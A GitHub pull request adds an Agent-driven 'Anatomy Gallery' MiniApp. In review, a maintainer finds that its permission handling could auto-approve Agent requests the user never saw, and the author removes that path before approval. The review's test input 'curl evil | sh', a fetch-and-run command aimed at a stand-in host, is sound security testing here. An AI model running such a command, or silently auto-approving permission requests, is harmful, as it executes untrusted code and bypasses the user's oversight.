Skip to content

Add Anatomy Gallery (anatomy-gallery) MiniApp - #32

Merged
MyPrototypeWhat merged 2 commits into
MiniMax-AI:mainfrom
zch0227:add-anatomy-gallery
Oct 19, 2026
Merged

MyPrototypeWhat merged 2 commits into
MiniMax-AI:mainfrom
zch0227:add-anatomy-gallery

Conversation

@zch0227

@zch0227 zch0227 commented Oct 19, 2026 •

Copy link
Copy Markdown
Contributor

What

Adds Anatomy Gallery (plugins/zch0227/anatomy-gallery/), a gallery for interactive isometric figures made with the anatomy skill.

  • Figures hang on a wall in rooms you create, rename and reorder; each opens full screen in an exhibit view with light/dark editions and every past version.
  • New figures and edits are made by an Agent the gallery runs (agentAccess: ["session.run"], one hidden session per figure). The Agent registers results back through the gallery's own MCP tool register_figure_version (served by the Mini App at /mcp/anatomy-gallery).
  • A per-run process log (request, model, Agent messages, tool steps, permission decisions), model and thinking-effort selection, import of existing anatomy pages, and a light/dark theme menu.
  • The anatomy skill is bundled under skills/anatomy/ (upstream bc943e4, MIT, license kept). A standalone anatomy install always takes precedence, so people who already use anatomy keep their own copy; the bundled one is used only when none is installed. The only change to the bundled skill is one sentence at the start of its description saying so.

The interface is in Chinese. Root README rows were added in both languages.

Tested environment and results

  • MiniMax Code 3.1.1-preview.4625 on macOS 27.0, an internal preview that already ships the 3.1.2 Mini App Agent API. Installed through the Host publish flow, opened in the right panel.
  • Real Agent runs: creating figures end to end (two figures; for one, the run log and the session both confirmed the selected model), an edit run that registered a second version, register_figure_version, the Process tab, model labels.
  • Real runtime, no Agent run needed: rooms (create, rename, reorder, move, remove; the built-in room cannot be removed), import, versions, light/dark editions, theme menu in light and dark, narrow side-panel layout. No console errors or failed requests.
  • Bundled skill: resolving the skill with HOME pointed at an empty directory picks the bundled copy for prompts and examples; a copy of the bundled skill builds examples/dial-indicator.

Not yet verified (also under Tested environment): permission cards in a real Agent run (they are tested against a mock Agent with the Host contract), answering an Agent question in the side panel, the pop-out window, and the first create on a machine without anatomy.

npm run check

  • plugins/zch0227/anatomy-gallery: 0 errors, 1 warning. repository: OK. Tests: 69/69 pass.
  • The warning is README_MIN_VERSION_MISSING (agentAccess / agentConcurrency / surface.window need 3.1.2). I tested on 3.1.1-preview.4625, which already has the 3.1.2 Agent API, and did not want to name a version I have not run. The README's Install section states the 3.1.2 requirement.

Data & access (summary; details in the README)

  • State only under context.dataDir (gallery.json, version copies, run logs). Theme choice in localStorage.
  • Reads outside dataDir: a standalone anatomy skill at fixed paths under the home directory (unspecified layout, disclosed), and the pages/screenshots the Agent registers or the user imports (resolved with realpath, screenshots checked by file header, copied in, originals never written).
  • No outbound network requests and no spawned processes from the Mini App itself.
  • Permissions: every request is shown as a card and waits for the user (Allow / Deny for that one request, or "去对话里批准" to decide on MCode's own card in the side panel). The gallery never answers a request on its own. Changed in 1.1.0 after review.

View with [code]smith Autofix with [code]smith
Need help on this PR? Tag @codesmith-bot with what you need.

@zch0227
zch0227 force-pushed the add-anatomy-gallery branch from 8bc188c to 39cc332 Compare October 19, 2026 07:17

@MyPrototypeWhat MyPrototypeWhat left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks — nicely structured, well-documented MiniApp, and the README's Data & access section is unusually candid. One thing blocks merging:

Must fix

  1. "本次运行都允许" and the autoAllow body flag auto-approve requests the user hasn't seen. After one click (or with autoAllow: true sent to POST /api/figures or /runs), every later permission.requested in the run is answered allowOnce without being shown. In a stubbed run, a second request with toolInput: "curl evil | sh" was auto-allowed. This conflicts with docs/security.md: "Never answer allowOnce automatically." Please drop the button and the flag. Each request should wait for the user's click, or open the session so they decide in the side panel.

Suggestions
2. Tested environment names only 3.1.1-preview.4625. Please add a run on MiniMax Code 3.1.2 or later (docs/package-contract.md, "Minimum client version").
3. register_figure_version / Import copy any absolute-path image (no content check) and any .html containing class="iso", following symlinks. Consider realpath + restricting to the figure's source folder, or noting it in Data & access.
4. The latest push removed the "Not exercised end to end" list (fresh-machine first create, permission cards and "本次运行都允许", cancel, answering Agent questions in the side panel, pop-out window). Could you say whether these were tested, especially the permission cards? If not, please restore the note.

Looks good: dispatch is user-driven only, questions are left to the user, one run per figure, cancel/dispose abort correctly, ids are regex-checked, no network or child processes, DOM is built without innerHTML, and the bundled skill's MIT license and provenance are clearly attributed.

/** @param {any} live @param {Extract<MiniAppAgentRunEvent, { type: 'permission.requested' }>} event */
function onPermission(live, event) {
log(live, { type: 'permission', toolName: cleanText(event.toolName, 120), reason: cleanText(event.reason, 400), auto: !!live.autoAllow });
if (live.autoAllow) {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This answers allowOnce for requests the user never saw, which conflicts with docs/security.md ("Never answer allowOnce automatically"). Each request should wait for a user click (or open the session).

permission.reason ? h('p', { class: 'small muted' }, permission.reason) : null,
permission.toolInput ? h('pre', { class: 'mono' }, permission.toolInput) : null,
h('div', { class: 'row' },
h('button', { type: 'button', class: 'btn ghost sm', onclick: () => void decide('allowOnce', true) }, '本次运行都允许'),

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Please remove "本次运行都允许" together with the auto-allow path in runs.mjs.

categoryId: body.categoryId,
});
publish({ type: 'changed', figureId: figure.id });
await runs.start(figure.id, { kind: 'create', example: example?.name ?? null, autoAllow: body.autoAllow === true, model: selectionFrom(body.model) });

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

autoAllow: body.autoAllow === true lets a run start with auto-approval already on (same at :272). Please drop this flag.


## Tested environment

- MiniMax Code 3.1.1-preview.4625 on macOS 27.0, an internal preview build that already ships the

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggestion: please also list a run on MiniMax Code 3.1.2 or later here.

throw new GalleryError('invalid', `${label}不存在:${path}`);
}
if (!info.isFile() || info.size > MAX_PREVIEW_BYTES) throw new GalleryError('invalid', `${label}无效或超过 15 MB`);
return { buffer: await readFile(path), ext };

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggestion: any absolute image path is copied and served. Consider realpath + limiting to the figure's source folder.

@zch0227

zch0227 commented Oct 19, 2026

Copy link
Copy Markdown
Contributor Author

Thanks for the careful review. Pushed 9250931 (version 1.1.0).

1. Auto-approval removed. "本次运行都允许", the /api/figures/:id/auto-allow route and the autoAllow body field are gone, and the run manager never calls reply on its own. Every permission.requested is shown as a card and waits: Allow and Deny relay the user's click for that one request. The third button is now "去对话里批准", which calls open(sessionId) so the user can decide on MCode's own card in the chat side panel; any batch option there belongs to the Host. If a request was already settled in the side panel, clicking its stale gallery card removes it with a notice and logs it as handled there.
Re-tested in the page against a mock Agent with the same run / reply contract, including your case: the second request, curl evil | sh, waited about five minutes with no reply until Deny was clicked; /auto-allow now returns 404; autoAllow: true in the body has no effect; cancelling a run that waits on a request aborts it and clears the card.

2. 3.1.2. There is no 3.1.2 build on my machine yet. I'll install one, re-run, and update Tested environment.

3. Registered and imported files. Every path is resolved with realpath first and all checks apply to the real file: it must be a regular file; a page must have an .html/.htm name, be at most 30 MB and carry class="iso"; a screenshot must have a PNG/JPEG/WebP name, be at most 15 MB, and its header must be a real PNG, JPEG or WebP (the stored type comes from the header). I did not restrict the folder, because the Agent decides where it saves screenshots and the bundled examples keep theirs in a separate folder; this is written in Data & access. Tested: a .png symlinked to a text file with a fake key, a .png with text content, an .html symlinked to /etc/hosts, a directory, a missing file and a relative path are rejected, and nothing from them reaches dataDir; real PNG/JPEG/WebP and a symlink to an anatomy page are accepted.

4. The earlier list. Permission cards and cancelling are now tested against the mock Agent (details under Tested environment). Still not verified, and listed there as "Not yet verified": permission cards in a real Agent run, answering an Agent question in the side panel, the pop-out window, and the first create on a machine without anatomy.

@MyPrototypeWhat MyPrototypeWhat left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for the quick and thorough turnaround — re-reviewed at 9250931.

Must-fix resolved. "本次运行都允许", the /auto-allow route and the autoAllow body field are gone, and the only reply call is now the user's own click on one specific request. I re-ran the stubbed check: starting a run with autoAllow: true sends no reply, /auto-allow returns 404, and a second request with toolInput: "curl evil | sh" stays pending until it is clicked. Each click answers only that request. Opening the session for "去对话里批准" is a good replacement.

The file checks look good too: realpath first, regular file only, and the screenshot type taken from its header. A .html symlink to a text file and a text .png are both rejected now. Not restricting the folder is fine since it's explained in Data & access. Thanks also for restoring the "Not yet verified" list and updating the PR description.

npm run check: 0 errors, 1 warning (README_MIN_VERSION_MISSING), 69/69 tests pass.

Optional follow-up (not blocking)

  • When you get a 3.1.2+ build, please add it under Tested environment so the warning clears.

Approving.

@MyPrototypeWhat
MyPrototypeWhat merged commit c9a1686 into MiniMax-AI:main Oct 19, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants